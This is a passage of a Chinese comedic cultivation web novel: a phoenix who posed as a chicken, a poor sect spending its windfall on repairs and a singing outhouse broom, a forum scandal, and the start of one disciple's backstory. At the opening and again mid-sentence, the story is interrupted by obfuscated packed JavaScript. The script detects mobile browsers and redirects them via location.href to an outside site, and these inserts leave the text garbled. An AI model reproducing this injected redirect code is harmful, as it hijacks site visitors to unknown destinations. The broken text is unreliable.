l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387666|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把话题拉回来。 “所以。”她开口,“您今日是来……” “来道谢。”栖云子从怀里掏出一个钱袋,“这是谢礼。” 祁幻眼睛一亮,连忙接过,打开一看—— “一百两?!” 他差点没拿稳。 典星河也愣了:“这么多?” 栖云子摇头:“不多。若不是你那一卦,我还不知道——” 他顿住,又看向凤栖。 凤栖笑得愈发温柔。 栖云子轻轻叹了口气。 “总之,多谢。” 典星河沉默片刻,看向凤栖。 “那个。”她开口,“我能问个问题吗?” 凤栖点头:“请说。” “您为什么……要装成鸡?” 凤栖笑了。 “因为有趣。”他轻声道,“我在凤凰窝待了三千年,天天听那些老家伙讲血脉传承、仙界荣耀,无聊得要死。我想出来看看,看看人间的修仙者,是什么模样。” 他看向栖云子,眼神温柔如水。 “然后我遇见了他。他跟我聊天,聊修炼,聊人生,聊他的儿子,聊他的宗门。他从不在意我是谁,只是一直说,一直说。” “他说了三百年都没人听懂的话,我全都听懂了。” “这样的人。”凤栖轻声道,“我想陪着他。” 全场安静。 无人说话。 好一会儿,宋栀子才小声道:“好浪漫啊……” 祁幻看了她一眼,没作声。 典星河深吸一口气。 “行吧。”她说,“既然如此,恭喜二位。” 她看向栖云子:“不过掌门,我得提醒您一句——您儿子还在家哭着要爹呢。” 栖云子脸色一变。 “对了!”他转身就要跑,跑两步又回头,看向凤栖,“你跟我一起回去吗?” 凤栖点头:“自然。” 他走过来,重新挽住栖云子的胳膊。 一人青袍清瘦,一人红衣风流,站在一起,竟意外地……般配。 祁幻看着这一幕,心情复杂。 牧殇凑过来,小声道:“其实还挺好看的,是吧?” 祁幻没说话,默默点了点头。 一群人浩浩荡荡而来,又浩浩荡荡而去。 凤栖经过歪脖子树时,脚步微顿。 他看向树下那个嗑瓜子的“老人”。 归尘也在看他。 两人目光对上一瞬。 凤栖眼神微变,似有话要问。 归尘对他轻轻点头,一言不发。 凤栖沉默片刻,也点了点头。 随即,跟着栖云子离去。 等人走远,典星河走到归尘身旁。 “前辈。”她轻声问,“您认识他?” 归尘嗑下一颗瓜子。 “见过。”他说,“三千年前,在凤凰窝。” 典星河一怔:“您去过凤凰窝?” “路过。”归尘淡淡道,“那时候他刚出生,还是个蛋。” “……” 典星河沉默了。 三千年前。 刚出生的凤凰。 如今,凤凰化形,寻到了自己的道侣。 而归尘,依旧一个人,蹲在歪脖子树下,嗑着瓜子。 她忽然不知该说些什么。 归尘却浑不在意,又嗑一颗瓜子。 “别这么看我。”他轻声道,“我不羡慕。” 典星河没说话。 归尘抬头望向天空,日光正好。 “他找到了他的路。”他说,“我也找到了我的。” “您的路是什么?” 归尘想了想,低头看了看手里的瓜子,又望向远处吵吵闹闹的几人——祁幻在数钱,牧殇追着问凤凰的事,宋栀子在研究她那根管子,穆惇已经扛着锄头走向灵田。 他笑了。 “就是这儿。” 【章末小剧场·躺平宗摸鱼群】 钱多多:@所有人 今日进账:一百两!一百两!!我们发财了!!! 王甜甜:哇!!! 赵铁柱:哇!!! 李翠花:! 典星河:分我一半。 钱多多:不行!这是宗门公款! 典星河:那买点好吃的。 钱多多:这个可以有。 归尘:瓜子还有吗? 赵铁柱:有有有!前辈我给您留着呢! 钱多多:@赵铁柱,你瓜子到底哪来的?! 赵铁柱:…… 赵铁柱:那个,我今天看见凤凰了,你们看见了吗?好漂亮啊! 钱多多:别转移话题! 典星河:哈哈哈哈 王甜甜:三师兄,我也想吃瓜子。 钱多多:你跟着凑什么热闹! 归尘:@王甜甜,来,我这儿有。 王甜甜:谢谢归爷爷!(???) 钱多多:…… 钱多多:我不管了!我要去数钱! (系统提示:用户“钱多多”已离线) 典星河:他最近越来越容易破防了。 赵铁柱:习惯就好。 李翠花:+1 王甜甜:+1 归尘:+1 典星河:+1 6. 有钱了,怎么花? 归尘在躺平宗的第六天早晨,是被祁幻的尖叫声吵醒的。 “一百三十二两!!!” 那声音又尖又细,像是被人掐住了脖子的鸡。 归尘睁开眼,侧耳听了听。 外面传来咚咚咚的脚步声,祁幻的声音越来越近:“掌门!掌门你快看!一百三十二两!咱们有钱了!!!” 然后是典星河懒洋洋的声音:“知道了知道了,你从昨晚数到现在,不累吗?” “不累!一点都不累!”祁幻的声音亢奋得不像话,“我数了二十八遍!每一遍都是这么多!!” 归尘忍不住笑了。 财迷,钱还不是他的…… ? 主殿门口,祁幻抱着账本,整个人像是打了鸡血,脸都红了。 典星河躺在摇椅上,被他吵得睡不着,一脸生无可恋。 穆惇站在旁边,面无表情,但眼神里带着一点——可能是好奇? 牧殇蹲在角落里,嗑着瓜子看热闹。 宋栀子抱着她那根管子,眼睛亮晶晶的:“三师兄,一百三十二两能买多少东西啊?” 祁幻深吸一口气,开始掰手指:“能买两千六百四十斤大米!或者四千四百个馒头!或者……够咱们吃一年!” “哇!”宋栀子眼睛更亮了。 “还能修十来个茅房!”祁幻继续说,“带顶的那种!不漏风的那种!带隔音阵的那种!” 牧殇插嘴:“那能买多少瓜子?” 祁幻瞪他:“瓜子不算!” “凭什么不算!” “因为瓜子是零食!不是必需品!” “零食怎么不是必需品了?”牧殇不服气,“前辈天天嗑瓜子,那不是必需品?” 归尘刚好走过来,听到这话,点了点头:“是必需品。” 祁幻:“……” 典星河“噗”地笑出声。 祁幻深吸一口气,又深吸一口气,然后转向归尘:“前辈,您别跟着起哄!” 归尘一脸无辜:“我说的是实话。” 祁幻拿他没办法,只能继续抱着账本念叨:“一百三十二两……一百三十二两……咱们可以修房子了……可以买新衣服了……可以——” “等等,”典星河突然开口,“你刚才说多少?” 祁幻一愣:“一百三十二两啊。” “不对吧。”典星河坐直了身子,“白鹤鸣那二十两,后面那八个一共五十二两——我后来数了,有个人多给了二两——昨天栖云子给了一百两。加起来应该是一百七十二两。” 祁幻愣住了。 他低头翻了翻账本,脸色慢慢变了。 “对哦……”他说,“那剩下的四十两呢?” 两人对视了一眼。 然后同时看向牧殇。 牧殇正在嗑瓜子的手顿住了。 “你们看我干嘛?” 典星河眯起眼:“牧殇,你最近瓜子挺多啊。” 牧殇额头开始冒汗:“那个……我自己买的……” “哪来的钱?” “就……平时省下来的……” 祁幻冷笑:“全宗门都是穷鬼,你哪来的钱?” 牧殇后退一步。 穆惇默默往前站了一步,挡住了他的退路。 宋栀子抱着管子,笑眯眯地看热闹。 归尘在旁边蹲下,掏出瓜子,继续嗑。 牧殇被五个人围着,终于崩溃了:“好好好我承认!那些瓜子是用公账买的!但是我买的都是便宜的那种!一斤只要三文钱!我买了——买了二十斤!” “二十斤?!”祁幻声音都劈叉了。 “我想着前辈爱嗑瓜子,多买点存着……”牧殇越说声音越小,“就……就花了六十文……” 祁幻愣了一下,低头算了算。 “六十文等于……” 牧殇看向典星河。 “一两银子等于一千文,”她说,“六十文就是……六分银子。” 牧殇猛点头:“对对对!六分银子!不是四十两!” 祁幻沉默了一会儿。 “那四十两去哪了?” 众人面面相觑。 祁幻想了想,翻开账本仔细看。 然后他的脸色变了。 “掌门,”他说,声音有点抖,“你那天收钱的时候,有没有仔细看?” 典星河想了想:“没有啊。他们扔下钱就走了,我哪知道是多少。” “那你后来数了吗?” “数了。”典星河说,“五十二两。” “那你怎么不告诉我?!” “我忘了。” “忘了?!” 典星河一脸无辜:“后来不是忙着看热闹吗,就忘了。” 祁幻深吸一口气,又深吸一口气,然后转向宋栀子:“栀子,你那根管子,花了多少材料钱?” 宋栀子眨眨眼:“八十文啊,我报过账的。” 祁幻低头翻了翻账本,找到那一条,沉默了。 “所以,”他说,“钱没少,是我记错了总数,掌门忘了告诉我多出来的钱。” 全场安静了一秒。 然后牧殇第一个笑出声。 “哈哈哈哈哈哈——祁幻你也有今天!!” 祁幻脸涨得通红:“我、我昨天数了二十八遍!怎么可能记错!” “但你就是记错总数了啊!”牧殇笑得直拍大腿,“一百七十二两,你非说一百三十二两,结果少算了四十两!哈哈哈哈!想贪直说。” 宋栀子也笑了。 穆惇的嘴角抽了抽。 典星河扶着额头。 归尘在旁边嗑着瓜子,嘴角也弯着。 祁幻抱着账本,恨不得找个地缝钻进去。 “我……我那是太激动了……数糊涂了……” “没事没事,”典星河摆摆手,忍着笑,“反正钱是真的有了,而且比你以为的还多四十两,这就够了。” 祁幻红着脸,小声嘟囔:“那……那咱们现在干什么?” 典星河想了想,看向破破烂烂的主殿、漏雨的屋顶、歪斜的门框、还有那个四面透风的竹棚茅房。 “修宗门。”她说。 说干就干。 祁幻负责管钱,第一件事就是列清单: 主殿大修:换三根梁柱,补全部瓦片,加装防雨阵法——五两银子。 弟子宿舍:三间全部翻新,加墙加顶加门窗——十二两银子。 山门:换块新牌匾,八十文——被典星河否了,说“平字掉了半边挺好的,显得有历史感”。 茅房:重建,青砖结构,带顶带门带隔音阵,还要挖化粪池——八两银子。宋栀子强烈要求参与设计,被祁幻严词拒绝。 “你参与设计,那就不是茅房了,是烟花发射台!” 宋栀子委屈巴巴:“我这次真的不会炸……” “你上次也说不会炸!” “上次是意外!” “上上次也是意外!” 两人吵成一团。 牧殇在旁边嗑瓜子看热闹,时不时煽风点火:“让她试试嘛,万一这次成功了呢?” 祁幻瞪他:“你闭嘴!” 典星河躺在摇椅上,悠闲地晒太阳。 归尘蹲在她旁边,也晒太阳。 两人一起嗑瓜子。 穆惇站在灵田边,看着这一团乱,面无表情。 过了好一会儿,她开口了:“屋顶梁柱我来换。” 所有人都愣住了。 祁幻看着她:“穆师姐,你……你会换梁柱?” 穆惇点头:“以前在家的时候盖过房子。” “可是那要爬很高……” 穆惇看了他一眼,没说话。 那眼神的意思是:你觉得我不会爬高? 祁幻识趣地闭嘴了。 宋栀子举起手:“那我负责设计新茅房!” “不行!”祁幻和牧殇异口同声。 宋栀子嘴一瘪,委屈地看向典星河。 典星河想了想:“让她设计外围吧,主体结构让工匠做。” 宋栀子眼睛一亮:“好!” “不许用灵气。” “好!” “不许加任何会动的功能。” “好!” “不许加会唱歌的功能。” “好!” “如果炸了,以后再也不许碰任何发明。” 宋栀子犹豫了一秒,然后重重点头:“好!” 祁幻将信将疑地看着她,但典星河都发话了,他也只能认了。 接下来的三天,躺平宗热闹得像工地。 祁幻去镇上请了三个工匠,包吃包住,每天工钱二百文。工匠们第一天进来的时候,看着这个破破烂烂的宗门,表情复杂;三天后走的时候,表情更复杂——这群人太闹腾了,像八百年没说过话。 穆惇爬上爬下换梁柱,动作利落得不像个种地的。工匠头子看得目瞪口呆,偷偷问祁幻:“这位是你们请的师傅?” 祁幻说不是,是我们大师姐。 工匠头子沉默了。 典星河躺在摇椅上监工,偶尔指点两句“那边歪了”“这边高了”——其实她根本不懂,就是随便说说。 但奇怪的是,工匠们居然真的听她的,大概是因为她躺在那里的样子太有气场了。 牧殇帮忙搬材料,一边搬一边念叨,从“这木头质量不错”聊到“你们知道吗隔壁青云宗那个白鹤鸣,听说被他师父罚去扫茅房了”,再从“扫茅房也挺好的,清净”聊到“你们说凤凰拉的屎是什么颜色的——” “闭嘴!”祁幻忍无可忍。 工匠们倒是听得津津有味,有个年轻工匠还问他:“后来呢?凤凰后来怎么样了?” 牧殇眼睛一亮,拉着人家聊了半个时辰。 宋栀子蹲在竹林边,对着图纸冥思苦想。她面前摆着各种材料——竹子、木头、石头、还有几块青砖。她拿着笔,画了改,改了画,嘴里念念有词。 归尘蹲在她旁边,嗑着瓜子看。 “归爷爷,”宋栀子突然抬头,“你觉得茅房最重要的功能是什么?” 归尘想了想:“不炸。” 宋栀子点点头,在图纸上写:功能一,不炸。 “还有呢?” 归尘又想了想:“不漏风。” 宋栀子继续写:功能二,不漏风。 “还有吗?” 归尘看了她一眼:“你别问我,这是你的设计。” 宋栀子歪着头想了想,突然眼睛一亮:“我知道了!” 她埋头开始画。 三天后。 躺平宗焕然一新——这次是真的焕然一新。 主殿换了三根新梁柱,屋顶铺满新瓦片,墙角还加了一个小小的防雨阵法——祁幻肉疼地付了二两银子,但不得不说,下雨天终于不用摆盆了。 弟子宿舍三间全部翻新,墙是白的,门窗是新的,床是木板的——虽然简陋,但至少不漏风了。 山门还是那个山门——典星河坚持不换牌匾,说“这样才有辨识度”。但祁幻偷偷找了块木板,把那个掉了半边的“平”字补上了,虽然补得歪歪扭扭,但至少能看出是“平”了。 最大的变化,是茅房。 一座崭新的青砖小房子,立在灵田旁边。青砖灰瓦,木头门窗,里面还贴了瓷砖——瓷砖是祁幻咬牙加的,花了三两银子,但穆惇说好清理,值了。 有顶,有门,有窗,四面不透风。 门是可以从里面插上的。 里面有一个真正的恭桶——陶瓷的,可以冲水的那种。冲水用的是宋栀子设计的机关,把屋顶收集的雨水引下来,一拉绳子就冲,不用灵气,纯物理结构。 旁边还有一个小架子,放着草纸和一盏小灯——那盏灯是宋栀子的发明,不灭灯。 所有人都围着这座新茅房转了好几圈。 祁幻左看右看,上看下看,前看后看,最后小心翼翼地问:“真的不会炸?” 宋栀子拍着胸脯保证:“纯物理结构!一点灵气都没用!绝对不会炸!” 牧殇凑过去闻了闻:“还挺香?” “我在墙缝里塞了艾草!”宋栀子得意洋洋,“驱虫的!还有通风口,不会臭!” 穆惇难得地点了点头:“不错。” 典星河也走过来,围着转了一圈,然后看向宋栀子。 “栀子,”她说,“你这次……真的没加任何奇怪的功能?” 宋栀子眨眨眼,一脸无辜:“没有啊。” 典星河将信将疑地看着她。 宋栀子的表情要多真诚有多真诚。 典星河想了想,决定信她一次。 “行吧,”她说,“那谁先试试?” 没人回答。 五个人互相看了看,又同时看向归尘。 归尘正在旁边嗑瓜子,察觉到他们的目光,抬起头。 “看我干嘛?” “前辈,”祁幻陪着笑,“您是我们当中修为最高的,要不……您先试试?” 归尘沉默了一秒。 “修为高,跟试茅房有什么关系?” “万一……万一有什么问题,您也能应付啊。” 归尘看着他,眼神复杂。 然后他站起来,走向新茅房。 “行吧。”他说。 他推开门,走进去,关上门。 外面五个人站成一排,屏住呼吸等。 一息。 两息。 三息。 没事。 五息。 十息。 还是没事。 祁幻长出一口气:“好像真的没问题——” 话音未落,茅房里突然传来一阵歌声—— “你是我的小呀小苹果~~” 五个人脸色齐变。 门开了。 归尘走出来,手里拿着那把扫帚——就是宋栀子送他那把,一直沉默的那把,被拿来打扫茅房了。 扫帚正在唱歌,唱得撕心裂肺。 归尘面无表情地看着宋栀子。 宋栀子缩了缩脖子,小声说:“那个……它可能是……突然想唱了……” 归尘没说话,就这么看着她。 宋栀子继续缩脖子:“我真的没加新功能……它就是……自己好的……” 归尘沉默了三秒。 然后他笑了。 “有意思。”他说,“真有意思。” 他把扫帚递给宋栀子:“修不好,弄死你!。” 宋栀子脸都白了,赶紧抱着扫帚跑回屋。 祁幻看着她的背影,又看看归尘,小声说:“前辈,您这是……” 归尘从怀里又掏出一把瓜子,继续嗑。 “吓唬吓唬她。”他说,“挺好玩。” 祁幻沉默了。 一个渡劫期大佬,吓唬一个十六岁的小丫头,就为了好玩。 这宗门,真的越来越奇怪了。 下午,山门外突然热闹起来。 祁幻跑出去一看,愣住了。 山门外站着十几个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387667|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有男有女,有老有少,穿着各色服饰,一看就是从各地来的。 为首的是一个年轻男子,看到祁幻出来,眼睛一亮。 “请问,这里是躺平宗吗?” 祁幻点头:“是……你们是?” “我们是来拜师的!”年轻男子说,声音洪亮,“听说你们宗门有凤凰!还有算命特别准的掌门!我们想加入!” 祁幻愣住了。 拜师? 加入? 凤凰? 他回头看向主殿方向——典星河还躺在摇椅上,悠闲地晃着。 “掌门!”他喊,“有人来拜师!” 典星河睁开眼,看了山门方向一眼。 然后她慢悠悠地走过来。 那十几个人看到她,眼睛都亮了。 “掌门!是掌门!” “掌门好!我是从五百里外赶来的!” “掌门,您给我算一卦吧!我想知道我能拜师成功吗?” 典星河扫了他们一眼。 然后她掐了掐手指。 “你们……”她说,“命里与躺平宗无缘。” 那几个人愣住了。 “什么意思?” 典星河叹了口气,一脸遗憾:“我算过了,入我宗门者,三年内必被我宗宋栀子的发明炸到,很大概率会伤亡。” “……” “而且不止一次。”典星河继续说,“最少三次。多的可能五次。” 那几个人的脸色开始变了。 “那个……”为首的年轻男子小心翼翼地问,“宋栀子的发明……炸得厉害吗?” 典星河想了想,看向祁幻。 祁幻面无表情地说:“上个月,她把茅房炸了。” “……” “茅房的顶飞到了隔壁村,砸中了猪圈。猪受惊了,跑了两头。” “……” “这个月,她又炸了一次。那个坑现在还在,你们要看吗?” 那几个人的脸色已经白了。 “那个……我突然想起来家里还有点事……” “对对对,我也是,家里有事……” “告辞告辞!” 一群人来得快,去得更快,转眼就跑得没影了。 祁幻看着他们的背影,又看向典星河。 “掌门,”他说,“你刚才算的……是真的吗?” 典星河眨眨眼:“当然是真的。” “宋栀子的发明,真的会炸死他们?” 典星河想了想:“不确定。但反正咱们也不收人,吓唬吓唬怎么了?” 祁幻沉默了。 到底还有没有正常人了? 典星河转身往回走,走了两步,又回头。 “对了,祁幻。” “嗯?” “你刚才说‘上个月她把茅房炸了,茅房的顶飞到隔壁村,砸中猪圈,猪跑了两头’,那段话说得特别好,下次还这么说。” 祁幻:“……” 他低头在账本上默默记了一笔: “今日新增:吓跑拜师者十三人。成本:零。收益:零。心情:复杂。” 傍晚,六个人又围坐在主殿门口。 晚饭终于不是萝卜开会了——穆惇去镇上买了一只鸡炖汤,买了两斤猪肉红烧,买了几斤白面蒸馒头,还买了一坛酒。 祁幻看着满桌的菜,眼泪都快出来了。 “有肉了……终于有肉了……还有酒……” 牧殇一边啃鸡腿一边说:“瞧你这点出息。” 祁幻瞪他:“你昨天还说想吃肉!” “我说的是瓜子味的肉,不是这种肉。” “瓜子味的肉是什么玩意儿?!” 两人又吵起来。 宋栀子抱着碗,小口小口地喝汤,眼睛弯成月牙。 穆惇面无表情地啃着红烧肉,但吃得比平时慢,像是在细细品味。 典星河倒了一碗酒,喝了一口,皱了皱眉:“这酒不行,太淡了。” 祁幻紧张了:“那、那下次买好点的?” “不用,”典星河摆摆手,“有酒就行。” 她看向归尘:“前辈,您喝酒吗?” 归尘点点头。 典星河给他倒了一碗。 归尘端起来,闻了闻,喝了一口。 “咱们以后可以自己酿点,不要花冤枉钱买清水喝。” 典星河看了他一眼,点点头:“可以试试。” 祁幻眼睛一亮,赶紧在账本上记:酿酒计划,待定。 夕阳西下,把修葺一新的躺平宗染成暖橙色。 夕阳落在他身上,轮廓柔和得像一幅画。 六个人围坐在一起,吃着肉,喝着酒,吵着架,偶尔笑几声。 风从山门外吹来,带着青草的气息。 归尘抬头看了看天。 “师父,”他轻声说,“徒儿回躺平宗了。” 没人回答他。 但他听见了风声。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日支出汇总——主殿大修五两,宿舍翻新十二两,茅房重建八两(含瓷砖三两),工匠工钱六百文(三天),工匠伙食五百文,买鸡三十文,买肉一百二十文,买面五十文,买酒二百文,买杂七杂八三百文。总计支出:二十八两又八百文。 赵铁柱:……多少?! 钱多多:二十八两又八百文。约等于二十九两。 赵铁柱:咱们不是才一百七十二两吗?这就花了二十九两?! 钱多多:不然你以为修宗门不要钱? 赵铁柱:我以为……就花个几两…… 钱多多:几两?几两连个茅房都修不起! 王甜甜:那个茅房有我设计的心血!值八两! 钱多多:你的心血差点让我们多花八两修第二个茅房! 王甜甜:…… 典星河:行了行了,花了就花了,剩下的还有一百四十三两呢。 钱多多:一百四十三两又二百文。 典星河:对,就那个。 赵铁柱:那还挺多的! 钱多多:但接下来还要买过冬的粮食、买种子、交仙网费、交——等等,牧殇,你那二十斤瓜子多少钱来着? 赵铁柱:…… 赵铁柱:那个……我突然想起来有点事…… 钱多多:@赵铁柱!你给我说清楚!二十斤瓜子到底多少钱! (系统提示:用户“赵铁柱”已离线) 钱多多:又跑!!! 王甜甜:哈哈哈哈哈哈 李翠花:。 典星河:习惯就好。 归尘:瓜子确实不错。 钱多多:前辈您别夸他!!! 归尘:实话。 钱多多:…… 钱多多:我不管了!我喝酒去了! (系统提示:用户“钱多多”已离线) 典星河:他也跑了。 王甜甜:三师兄最近越来越容易破防了。 李翠花:+1 归尘:+1 典星河:+1 远处,新修的茅房里,传来一阵若有若无的歌声—— “你是我的小呀小苹果~~” 五个人同时抬头,看向茅房方向。 宋栀子缩了缩脖子:“那个……可能是它在试用新功能……” 归尘看着她。 宋栀子立马举手:“我明天就修!明天一定修好!” 月光下,修葺一新的躺平宗,安静又热闹。 7. 仙网头条 归尘在躺平宗的第n天早晨,是被牧殇的惨叫声吵醒的。 “完了完了完了完了——” 那声音凄厉得像被人踩了尾巴的猫。 归尘睁开眼,侧耳听了听。外面传来咚咚咚的脚步声,牧殇的声音越来越近:“掌门!掌门救命!!!” 然后是典星河懒洋洋的声音:“大清早的,喊什么喊……” “出大事了!!!” ? 主殿门口,牧殇举着玉简,脸白得像纸。 典星河刚从摇椅上坐起来,头发还翘着一缕,睡眼惺忪。 祁幻抱着账本跑出来,宋栀子抱着枕头跑出来,穆惇扛着锄头从灵田方向走过来——面无表情,但眼神里带着一丝“我倒要看看又怎么了”的好奇。 归尘走过去,在典星河旁边蹲下,掏出瓜子。 “咔”。 牧殇颤抖着把玉简递到众人面前。 光幕上,仙网论坛首页,热搜第一: 【震惊!躺平宗掌门算卦神准,背后原因竟是——】 点进去,是一条刚刚发布的帖子。 发帖人ID:八卦小能手(IP公开)。 内容: “本人潜伏躺平宗三日,终于打探到惊天内幕!那位算命神准的掌门,之所以突然从‘算卦必错’变成‘算卦必准’,是因为——” “她身边来了个神秘老头!” “据可靠消息,那老头修为深不可测,至少渡劫期!每次掌门算卦,他都在旁边站着!你们品,你们细品!” 底下配了一张图—— 是那天典星河给栖云子算卦时的场景。画面里,典星河掐指发光,归尘站在歪脖子树下,阳光照在他身上,轮廓清晰,表情淡然。 评论区已经炸了: “卧槽这老头有点帅啊!” “渡劫期?!这破宗门有渡劫期?!” “难怪算得准,原来是渡劫期大佬在背后加持!” “这老头什么来路?有人认识吗?” “什么老头?叫帅哥!帅哥想要我的联系方式么?” “不认识,但这颜值我可以!” “楼上你清醒一点那是老头!” “老头怎么了?老头也有老头的魅力!” “他只是一个三千岁的美男子而已,不要对人有这么大的恶意。” “所以掌门的卦到底是谁算的?是她自己算的还是老头算的?” “肯定是老头算的吧,她之前不是算卦必错吗?” “有道理,八成是老头在背后帮她。” “那这算不算作弊啊?” “作弊怎么了?人家有渡劫期大佬愿意帮,你嫉妒啊?” “我嫉妒个屁,我就是想知道这老头还有没有同门师兄弟!” “同门师兄弟?他看起来至少几千岁了,同门师兄弟估计都飞升了吧……” “那有没有徒弟?我想拜师!” “+1,我也想拜师!” “+10086!” 牧殇一条条念下来,声音越来越抖。 念到最后一条“+10086”的时候,他的手都在颤。 “掌门,”他说,声音带着哭腔,“我……我不是故意的……” 典星河看着那篇帖子,沉默了三秒。 然后她转向归尘。 归尘正在嗑瓜子,一脸事不关己。 “前辈,”典星河说,“您火了。” 归尘看了她一眼,又看了看光幕上自己的照片。 “拍得还行。”他说。 “……” 祁幻在旁边小声说:“前辈,这不是重点吧……” 归尘又嗑了一颗瓜子:“那重点是什么?” 祁幻张了张嘴,愣是没说出话来。 是啊,重点是什么? 帖子说的是事实——归尘确实是渡劫期,确实在掌门算卦的时候在旁边站着。至于他有没有帮忙……反正他自己没说帮过,但别人怎么想,谁能管得住? 典星河想了想,问牧殇:“这帖子谁发的?” 牧殇低头看了看ID,脸色更白了。 “八卦小能手……”他说,“这是……这是青云宗论坛版主的马甲……” “青云宗?” “就是那个……白鹤鸣的师兄……专门负责运营仙网论坛的那个……” 典星河沉默了一秒。 “白鹤鸣?”她说,“就是那个被穆惇一锄头砸断飞剑的?” “对……” “被他师父罚去扫茅房的?” “对……” “他师兄发的帖?” “对……” 典星河又沉默了。 祁幻小声说:“所以……这是报复?” 牧殇快哭了:“肯定是!他们查到我小号了!知道是我发的那些夸掌门的帖子!现在他们报复回来了!” 典星河看着他,眼神复杂。 “你小号被发现了?” “应该是……”牧殇的声音越来越小,“我前几天用小号在青云宗论坛发帖,问‘你们知道躺平宗那个老头什么来路吗’,结果……” “结果?” “结果被人顺着IP查过来了……” 全场安静。 宋栀子眨眨眼:“二师兄,你这不是自投罗网吗?” 牧殇欲哭无泪:“我以为小号是安全的……” 祁幻冷笑:“你十七个小号,整天在人家论坛里晃悠,还问这种问题,不被发现才怪!” 牧殇蹲下去,抱着头,整个人缩成一团。 归尘看着他,又嗑了一颗瓜子。 “没事。”他说。 牧殇抬头,眼睛一亮:“前辈,您有办法?” 归尘点点头。 牧殇蹭地站起来:“什么办法?!” 归尘看了他一眼,慢悠悠地说:“让他们发。过两天就没人记得了。” “……” 牧殇的表情僵住了。 祁幻在旁边说:“前辈的意思是……冷处理?” 归尘点头:“网上这种事,过两天就有新热闹了。” 牧殇将信将疑:“真的吗?” 典星河想了想,也点点头:“有道理。你们看,现在热搜第一是咱们,热搜第二是什么?” 牧殇低头看了看,念出来:“热搜第二——‘青云宗掌门与凤凰恋情曝光,当事人回应:我们是真爱’。” 全场再次安静。 宋栀子眼睛亮了:“这个比咱们的热闹大啊!” 祁幻凑过去看:“点进去点进去!” 牧殇点开帖子。 内容更炸: “独家!青云宗掌门栖云子与神秘红衣男子亲密现身街头!据知情人士透露,该男子实为凤凰化形!二人已结为道侣!记者采访栖云子本人,他表示:‘我们是真爱,关你屁事。’” 底下配了九张图—— 栖云子和凤栖手挽手逛街的,一起吃饭的,一起逛集市的,还有一张凤栖低头给他擦汗的,画面温馨得不像话。 评论区已经彻底疯了: “什么?!青云宗掌门和凤凰?!” “还是公的?!” “公的怎么了?真爱不分性别不懂吗?” “不是,重点是凤凰啊!活的凤凰!” “这只凤凰之前是不是装成鸡混进青云宗的?” “对对对!我听说过!据说在青云宗后山待了三天,天天听掌门聊天!” “这是什么神仙剧情?伪装成鸡接近心上人?” “救命,太甜了吧!” “所以掌门是被一只鸡追到的?” “是凤凰!不是鸡!” “反正差不多……” “差很多好吗!” “等等,那躺平宗那个老头还重要吗?” “不重要了!这边更精彩!” “散了散了,去看凤凰了!” 牧殇一条条念下来,脸上的表情从绝望变成茫然,又从茫然变成狂喜。 “掌门!”他猛地跳起来,“咱们的热度被压下去了!” 典星河凑过去看了看,嘴角慢慢弯起来。 祁幻也凑过去,看着那些评论,表情复杂。 “所以……是凤凰帮咱们解了围?” 典星河想了想,摇摇头:“不是帮。是它本来就更劲爆。” 牧殇疯狂点头:“对对对!凤凰和掌门谈恋爱,比渡劫期老头厉害多了!” 归尘在旁边慢悠悠地说:“渡劫期老头很多,凤凰很少。” 众人看向他。 祁幻愣了一下,然后点点头:“有道理……” 闹剧持续了半个时辰,终于慢慢平息。 牧殇蹲在角落里,虽然危机解除了,但整个人还是蔫蔫的。 典星河看了他一眼,没说话。 宋栀子倒是凑过去了,蹲在他旁边,歪着头问:“二师兄,你怎么了?不是没事了吗?” 牧殇摇摇头:“没事。” “那你干嘛不高兴?” 牧殇没回答。 宋栀子眨眨眼,突然说:“你是不是想起以前的事了?” 牧殇身体一僵。 宋栀子看着他的眼睛,声音软软的:“二师兄,你平时话那么多,今天从早上到现在,说了不到十句。” 牧殇愣住了。 他想反驳,想说“我没事”,想挤出一个笑,然后像往常一样叽叽喳喳说个不停。 但他发现自己做不到。 那些话堵在喉咙里,像一块石头。 宋栀子没再问。 她只是蹲在他旁边,安安静静地陪着。 那天晚上,牧殇没有和大家一起吃晚饭。 祁幻喊了他三次,他都说不饿。 典星河看了柴房方向一眼,没说话。 穆惇盛了一碗饭,夹了几块肉,放在灶台上,用碗扣着保温。 归尘蹲在歪脖子树下,嗑着瓜子,看着柴房的方向。 月亮升起来,洒下一地清辉。 牧殇躺在柴房的干草堆上,睁着眼睛看屋顶。 他睡不着。 一闭眼,就是那个画面。 那时候他还不叫牧殇。 他叫牧无言——师父起的名字,因为他从小就不爱说话。 八岁那年,他被师父捡回宗门。师父问他叫什么,他摇摇头。问他从哪里来,他摇摇头。问他会不会说话,他点点头,然后继续沉默。 师父说:“那你以后就叫无言吧。” 他点点头。 师妹比他小两岁,是隔壁村送来的孤儿。她第一次见到他,就围着他转了三圈,然后问:“师兄,你怎么不说话呀?” 他没回答。 她继续问:“师兄,你是不是不会说话?” 他摇摇头。 她眼睛亮了:“那你会说话!为什么不说话?” 他张了张嘴,不知道该说什么。 她笑了,笑得眉眼弯弯:“没关系,你不说,那我说给你听呀!” 从那以后,她真的天天在他耳边叽叽喳喳。 “师兄你看,今天的天好蓝!” “师兄你看,我摘了一朵花!” “师兄你看,我练剑练得怎么样?” “师兄师兄师兄——” 他听,点头,偶尔“嗯”一声。 她从不在意他的沉默。她说:“师兄,你就像一棵大树,我是树上的小鸟。大树不用说话,小鸟替你说话就好啦!” 他看着她,嘴角弯了弯。 那是他第一次笑。 她十四岁那年,他们第一次进秘境历练。 师父说,万妖谷秘境,凶险,但也是机缘。让他们小心,让他们互相照应,让他们活着回来。 